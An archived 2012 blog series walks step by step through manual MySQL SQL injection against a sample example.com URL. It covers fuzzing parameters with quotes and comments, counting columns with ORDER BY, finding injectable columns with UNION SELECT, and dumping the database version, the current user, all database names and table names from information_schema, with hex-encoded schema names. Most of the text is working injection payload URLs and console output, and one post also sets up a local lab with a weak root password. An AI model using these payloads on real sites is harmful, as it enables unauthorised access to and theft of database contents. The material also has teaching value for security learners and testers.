Saturday, June 23, 2012

Finding Tables

Finding Table Names

So far, we know how to get the Database Name, Number of Database and All Database Name.

Lets move further and try to get the Table Names:

So we have the URL as

http://www.example.com/index.php?id=1

From our earlier posts, we know that it has THREE columns, Database name is "ckorner", now since the web site is using this Database, we might get some juicy information here, so lets move ahead and try finding the Tables of the Database.

As there are three columns we find, so the developer has made the Query like this:

SELECT col1, col2, col3
FROM table_name
WHERE id = user_input

So we still dont have any idea, what the Table Name is:

Lets first check on MySQL server, if we can make a Query to make the Database display the Table Name

mysql> use information_schema;
Database changed
mysql> select database();
+--------------------+
| database()         |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.00 sec)

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_CMP_RESET                      |
| INNODB_TRX                            |
| INNODB_CMPMEM_RESET                   |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
+---------------------------------------+
37 rows in set (0.00 sec)

mysql> desc information_schema.tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema='ckorner';
+------------+
| table_name |
+------------+
| admin      |
| products   |
| users      |
+------------+
3 rows in set (0.00 sec)

mysql>

To note Something here, the last query is little complicated, here in one query, we have used two query

In simple words, it says, SELECT the column_name(TABLE_NAME) from Database(information_schema) and Table(TABLES) where table_schema='ckorner'; Table Schema is another column, which holds the all database names. And we know that the Database Name from the Last Post. Moving on..

So, now lets see using another database, how we can get the table name.

mysql> use ckorner;
Database changed
mysql> select * from products where id = 1;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

Assume here you do not know what is the table_name which is producst here, and the value of id is the user's input.

mysql> select * from products where id = 1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | name    | price    |
+------+---------+----------+
|    1 | Printer | 4500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

mysql>

This example Database has only 3 columns, sometimes when there are lots of tables, the output in the webpage wont fit, in that case, you have to use the LIMIT function.

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 1,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | admin |
+------+------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 2,1;
+------+------+----------+
| id   | name | price    |
+------+------+----------+
|    1 | 2    | products |
+------+------+----------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 3,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | users |
+------+------+-------+
1 row in set (0.00 sec)

mysql>

So, in this way, we found that there are three tables in the 'ckorner' database, namely, admin, products and users.

So lets quickly frame it in our URL:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema='ckorner'  --+

Note here we are working with URL, so we need to hexencode our database name ie. ckorner.

You can use the online hexencoders to encode it or you can also use Our h3xc0d3r tool, to encode/decode Offline from here:

Click Here To Go To Download Page

So, the Query that would show us Tables are:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 636b6f726e6572 --+

NOTE: After converting a string to hex, and then passing to the URL, you must prepend '0x' to the hex value, otherwise it wont work.

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 --+

And Thus We Would have all the Tables Names in the 'ckorner' Database, Do not forget about the LIMIT function in case, the output crosses the page limit.

Ex:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 1,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 2,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 3,1--+

This would give the Table Names One At a Time.

Thats All For This Post. Thank You

Monday, June 18, 2012

Probing The Database

Probing The Database

Okay, so now that we have the number of columns, database name and the Vulnerable Column(Injectable Column)

Lets take our step ahead into probing more into the database for further information.

A Quick Review:

http://www.example.com/index.php?id = 1
http://www.example.com/index.php?id = 1'    --+
http://www.example.com/index.php?id=1' ORDER BY 3 --+ << Col Count is 3 as 4 gives Error
http://www.example.com/index.php?id = 1' UNION SELECT 1,2,3   --+ << This shows all 3 col
http://www.example.com/index.php?id = -1' UNION SELECT database(),current_user(),@@version   --+

Now lets try to see the Tables.

As Usual first lets check in through MySQL, now the reason we check for the MySQL version becuase, MySQL version 5 and above has a database named information_schema, which is like a template which holds information about all database and tables. And we will use this to probe for data from databases.

in version 5 and above, information_schema is a template of all databases.

Now on the left side we have

SELECT * FROM Products where id = 1; << The normal workflow

Now we have to work on the right side,

Now as a pen tester we dont have any idea, how many database are there, their names, tables, columns etc. So lets see how we can probe and dump some information.

Lets first build our Query in MySQL server

1. To find the current database

mysql> select database();
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

2. To see all tables

mysql> show tables;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
| products          |
| users             |
+-------------------+
3 rows in set (0.00 sec)

But we cannot use 'show' command in our URL Query so this is invalid.

3. Find the Number of column in Use:


mysql> select * from products where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from products where id = 1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

So 3 columns in use;

4. To find the Injectable Columns:

mysql> select * from products where id = 1 union select "foo", "baar", "spam";
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
| 1    | Printer | 4500  |
| foo  | baar    | spam  |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    1 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

Okay, seems all Columns are injectable;

5. Finding database name, version

mysql> select * from products where id = 1 union select @@version,database(),3;
+--------+---------+-------+
| id     | name    | price |
+--------+---------+-------+
| 1      | Printer |  4500 |
| 5.5.16 | ckorner |     3 |
+--------+---------+-------+
2 rows in set (0.00 sec)

6. To find number of database

mysql> select * from products where id = 1 union select count(database()),2,3 from information_schema.schemata;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    8 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

So, this has 8 database;

7. Lets try to get the names of all Databases

mysql> select * from products where id = 1 union select table_schema,2,3 from information_schema.tables;
+--------------------+---------+-------+
| id                 | name    | price |
+--------------------+---------+-------+
| 1                  | Printer |  4500 |
| information_schema | 2       |     3 |
| cdcol              | 2       |     3 |
| ckorner            | 2       |     3 |
| mysql              | 2       |     3 |
| performance_schema | 2       |     3 |
| phpmyadmin         | 2       |     3 |
| webauth            | 2       |     3 |
+--------------------+---------+-------+
8 rows in set (0.00 sec)

"information_schema" is a common database in all MySQL version 5 and above.

Lets check the information_schema database

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_CMP_RESET                      |
| INNODB_TRX                            |
| INNODB_CMPMEM_RESET                   |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
+---------------------------------------+
37 rows in set (0.00 sec)

mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+-------
+
| Field                    | Type                | Null | Key | Default | Extra
|
+--------------------------+---------------------+------+-----+---------+-------
+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |
|
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |
|
| TABLE_NAME               | varchar(64)         | NO   |     |         |
|
| COLUMN_NAME              | varchar(64)         | NO   |     |         |
|
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |
|
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |
|
| IS_NULLABLE              | varchar(3)          | NO   |     |         |
|
| DATA_TYPE                | varchar(64)         | NO   |     |         |
|
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |
|
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |
|
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |
|
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |
|
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |
|
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |
|
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |
|
| COLUMN_KEY               | varchar(3)          | NO   |     |         |
|
| EXTRA                    | varchar(27)         | NO   |     |         |
|
| PRIVILEGES               | varchar(80)         | NO   |     |         |
|
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |
|
+--------------------------+---------------------+------+-----+---------+-------
+
19 rows in set (0.00 sec)

mysql>

This database doesn't seem interesting as of now, but in later post, we will see how important this database is.

So lets frame our Queries in the URL:

http://www.example.com/index.php?id= 1' union select 1,2,3--+

http://www.example.com/index.php?id= -1' union select count(database()),2,3 from information_schema.schemata--+

http://www.example.com/index.php?id= -1' union select table_schema,2,3 from information_schema.tables--+

The use of (-1) has already been explained, so that should not be a Question as to why -1

So this is all for this post, more in next post, hope you are Enjoying it.

Thank You!

Friday, June 15, 2012

Finding Injectable Column

Finding Injectable Column

Okay so now that we know how to find out columns count using 'order by' lets take one step further, and lets try to find out the injectable column(Or the attacking column, which would display our query result)

So lets assume we have the same URL:

http://www.example.com/index.php?id=1

And we know there are 3 columns.

http://www.example.com/index.php?id= '   1'        --+'

http://www.example.com/index.php?id= 1' ORDER BY 3--+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 4--+ >> Error

So we know there are three columns.

Now lets try to find out the injectable column, and for this we use 'UNION' Query with Another Select Statement.

Now if we look at the URL carefully...

http://www.example.com/index.php?id=1

In SQL,
SELECT col1, col2, col3 FROM products WHERE id=1; (We know there are three columns by the 'ORDER BY' Query)

Now left side is using three columns, we have to balance it by using 3 columns on the right side.

SELECT col1, col2, col3 FROM products WHERE id = 1 UNION SELECT col1,col2,col3;

Lets check the same in SQL First

===================================================================
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| ckorner            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
8 rows in set (0.00 sec)

mysql> use ckorner;
Database changed
mysql> select * from products where id = 1;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from products where id = 1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    1 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, "foo", "bar";
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer | 4500  |
| NULL | foo     | bar   |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, 20, 50;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
| NULL | 20      |    50 |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, Null, Null;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
| NULL | NULL    |  NULL |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select database(), Null, Null;
+---------+---------+-------+
| id      | name    | price |
+---------+---------+-------+
| 1       | Printer |  4500 |
| ckorner | NULL    |  NULL |
+---------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select database(), current_user(), @@version;
+---------+----------------+--------+
| id      | name           | price  |
+---------+----------------+--------+
| 1       | Printer        | 4500   |
| ckorner | root@localhost | 5.5.16 |
+---------+----------------+--------+
2 rows in set (0.00 sec)

mysql> quit;

=====================================================================

Okay here, 'union' has a very basic work, it just balances both sides, by adding a false value, and shows column number where we can inject our query.

Generally we do 'union select 1,2,3,4...and go on' But sometimes, we might see same number appearing twice, it is then when we change the numbers like 10,20,Null,"Foo", etc to distinguish.

So in this case,

http://www.example.com/index.php?id= '   1'   union select 1,2,3     --+'

Displayed 1 2 3 means all the columns are injectable, it it would have displayed 2, means only column 2 is injectable, and so on.

So, if we send a Query like this:
http://www.example.com/index.php?id= 1' union select database(),@@version,current_user()  --+

This will Display The Normal Page, because there is No Error. So we need to generate the error, not by removing the single quote, but by giving an arbitrary select value

http://www.example.com/index.php?id= 99' union select database(),@@version,current_user()  --+

or,

http://www.example.com/index.php?id=  -1' union select database(),@@version,current_user() --+

This will display:
ckorner  5.5.16  root@localhost 
Where,
ckorner << Database Name
5.5.16  << MySQL Version
root@localhost << current user

Thats all for this post.

Thank You!

Monday, June 11, 2012

Finding Columns

I have already Discussed how to find the vulnerable parameter for injecting SQL Query.

Note: If some query has worked for fuzzing one website, this doesnt means the same would work for the others.

It all depends on how the filtration process is done.

So this is our next Step towards SQL Injection.

Lets say we have an URL

http://www.example.com/index.php?id=1

And lets assume that appending a single quote broke the normal workflow and gave an Error.

http://www.example.com/index.php?id=1'

And keeping the single quote, when we appended a comment symbol, (--+) it bring back the normal page.

Thus we now have identified the place where we will inject our SQL Queries.

http://www.example.com/index.php?id= 1'  --+

Now the next step after finding the SQL Injection field, we have to get the columns count, i.e the number of columns used.

If we write the query in SQL terms, its:

SELECT * FROM table
WHERE id = '  1   ' ;

After, injecting

SELECT * FROM table
WHERE id = '  1'   --+ ' ;

Lets show here a quick SQL Table and the queries

mysql> use ckorner ;
Database changed
mysql> select database() ;
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

mysql> show tables ;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
| products          |
| users             |
+-------------------+
3 rows in set (0.00 sec)

mysql> select * from products;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
|    1 | Printer |  4500 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products order by id ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products where id=1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 2;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql>

So what do we see here, we have a Table named "Products" and in this table we have 3 rows(records) and 3 columns.

Suppose I dint know how many columns I had, and lets say I forgot how to check the columns, I will use the "order by" query to bruteforce and find the columns count. as you see "order by 4" gave an error stating that unknown column.

In the same way we will use this process to find out the columns count by injecting "ORDER BY" Query.

So in our URL:

http://www.example.com/index.php?id= 1' ORDER BY 1 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 2 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 3 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 4 --+ >> Error

So we found that the number of columns count is 3. Why we need to find it out, thats a secret to be revealed in the later posts.

Note: Finding the columns is not click and go task, because in a given website we have no idea, how many columns might be there.

So a quick tip:

http://www.example.com/index.php?id= 1' ORDER BY 50 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 25 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 15 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 10 --+ >> No Error

Means the count is somewhere between 10 and 15

http://www.example.com/index.php?id= 1' ORDER BY 13 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 12 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 11 --+ >> No Error

So I hope you enjoyed it.

Thank You!

Wednesday, June 6, 2012

SQL Injecting Parameters-3

Continuing with our journey to identify.... Lets head towards identifying another URL and try fuzzing it.

You might think, why am I not proceeding from these point, and stuck at identifying MySQL Errors. It is very important to identify the Injection Field. My Posts Are not related to dorks, where you pick up some random URLS and Fuzz it. At any given point, If you are provided with a website you should have the capability to find and identify Injection Field, for an Attack.

So Again the last developer of the company was fired out, as Database was successfully hacked. There comes a new Developer and he re-writes the Engine.

Once again our aim is to understand how he coded it.


We have the URL:

http://www.example.com/index.php?id=1

So Our Fuzzing Starts..

http://www.example.com/index.php?id=11111111111111111 >> Blank Page

http://www.example.com/index.php?id=foooo >> Blank Page

http://www.example.com/index.php?id=1c >> Blank Page

http://www.example.com/index.php?id=c1 >> Blank Page

http://www.example.com/index.php?id=1'

Woops we broke it, We got an SQL Error. So Our First Work is Done. Now The second Part, we will try to Balance it, so that we get our Injection Field.

Now this is One type Engine, where we will find that we are not able to use the Comments to Balance the URL.

Here is a new thing that we will try.

By now, you should have noticed that the query that creates MySQL Error, we dont remove the Query, but keeping that in Place we try to balance so that our Sequence Breaking Query stays there, and we fix it by commenting.

http://www.example.com/index.php?id=1'

In SQL terms,

SELECT * FROM Table
WHERE id = _______;

http://www.example.com/index.php?id='    1'    '

Notice here the Single Quotes are not balanced, which gave the Error.

Lets say we tried:

http://www.example.com/index.php?id = '   1' --+ '

By using the comment (--+) we say the database, hey you anything you see after me, Ignore it. so in this way the last quote gets ignored after reaching the Database. And Any Valid SQL Query Between 1' ______ --+ gets executed.

Lets assume in this case our this method it dint work, we are not able to balance the URL.

Now lets do something Else

http://www.example.com/index.php?id= '   1' OR '1   '

It gets Balanced, because we have now Balanced it, and the OR Logic says, execute either the first part or the second part.

SELECT * FROM Table
WHERE id = '1' OR '1';

The first '1' extracts the records of id=1, and the second part OR '1' means a TRUE Statement.

Lets use now AND Statement,

http://www.example.com/index.php?id = '  1' AND '1  '

Once again we get a valid display

http://www.example.com/index.php?id= '  2' AND '1  '

We get the next record, and so on.

So You must remember this way of Fuzzing an URL if the earlier methods doesn't work.

So any valid Query Between '  2' ________ AND '1  '

AND, OR is to Balance, we have balanced the Right Side, now we have to insert SQL Commands on the Left Side and the Queries Will get executed.

Conclusion: We used ' AND ' 1

http://www.example.com/index.php?id  = 1

http://www.example.com/index.php?id  = 1 ' AND ' 1

Thank You!

Tuesday, June 5, 2012

Setting Up MySQL


When things are done practically, it tends to stay in mind. So before Proceeding further with SQL Injection, I thought Of Showing how to setup MySQL Server and Create A Database, and Play With it.

In this post, we will set up MySQL server, and get hands on it and feel MySQL Database.

Steps:

1. Download From HERE (Windows Users Download the MSI Installer)

2. Install It, The Process is very simple, You need to Follow the Instructions Properly.

3. Open a Command Prompt and type 'mysql', If you get error which says MySQL is not recognized as a valid statement. Means Either Installation was not successful or you might have to add the MySQL Directory to the Environment Variable.
[If you get any error with Installation, Leave a comment, with exact error code and the Operating system]

4.

D:\>mysql -u root -p
Enter password:    [Leave it Blank, and Press Enter]

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Database changed
mysql> update user set password=PASSWORD("toor") where User='root';
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)
mysql> quit
Bye

D:\Documents and Settings\CKorner>mysql -u root -p
Enter password: toor
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
7 rows in set (0.00 sec)

mysql> create database CKorner;
Query OK, 1 row affected (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| ckorner            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
8 rows in set (0.00 sec)

mysql> use ckorner;
Database changed
mysql> select database();
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

mysql> select current_user;
+----------------+
| current_user   |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.16    |
+-----------+
1 row in set (0.00 sec)

mysql> create table admin(id INT, name VARCHAR(20), pwd VARCHAR(15));
Query OK, 0 rows affected (0.08 sec)

mysql> show tables;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
+-------------------+
1 row in set (0.00 sec)

mysql> insert into admin(id, name, pwd) values(1, "Whiskey", "whiskey123");
Query OK, 1 row affected (0.02 sec)

mysql> insert into admin(id, name, pwd) values(2, "Onty", "Onty123");
Query OK, 1 row affected (0.01 sec)

mysql> insert into admin(id, name, pwd) values(3, "Sourabh", "kumar123");
Query OK, 1 row affected (0.03 sec)

mysql> insert into admin(id, name, pwd) values(4, "Nivedita", "Niv123");
Query OK, 1 row affected (0.03 sec)

mysql> desc admin;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| name  | varchar(20) | YES  |     | NULL    |       |
| pwd   | varchar(15) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.02 sec)

mysql> select * from admin;
+------+----------+------------+
| id   | name     | pwd        |
+------+----------+------------+
|    1 | Whiskey  | whiskey123 |
|    2 | Onty     | Onty123    |
|    3 | Sourabh  | kumar123   |
|    4 | Nivedita | Niv123     |
+------+----------+------------+
4 rows in set (0.00 sec)

mysql> quit;
Bye

D:\Documents and Settings\CKorner>

Play Around with the SQL Queries, which has been discussed before.

Hope this will be Interesting, and help you to learn SQL Injection.

[No Comments, No Likes Makes Me Feel, I am uselessly sharing knowledge, Support motivates]

Thank You

Monday, June 4, 2012

SQL Injecting Parameters-2

From the last post, we know how to find the parameter, and also how to balance it, and get the Injection field.

Last post the developer had poorly coded the PHP script, and thus appending a single quote(') gave the error. So he was thrown out of the company, because hackers easily gained info from the database.

Now comes a second developer, where he re-coded the PHP script. Once again challenging the Hackers community.

So we have URL, once again our prime objective is to understand how is 2nd Layer code, from the errors we get.

Lets start:

http://www.example.com/index.php?category=watch&id=1

So from the URL, what can I conclude?
There must be a Column(category) and rows(watch), and with id=1, it gives some info about the id=1 watch.

With that in Mind, we know that 'id' maybe once again a vulnerable parameter, lets try to Fuzz it.


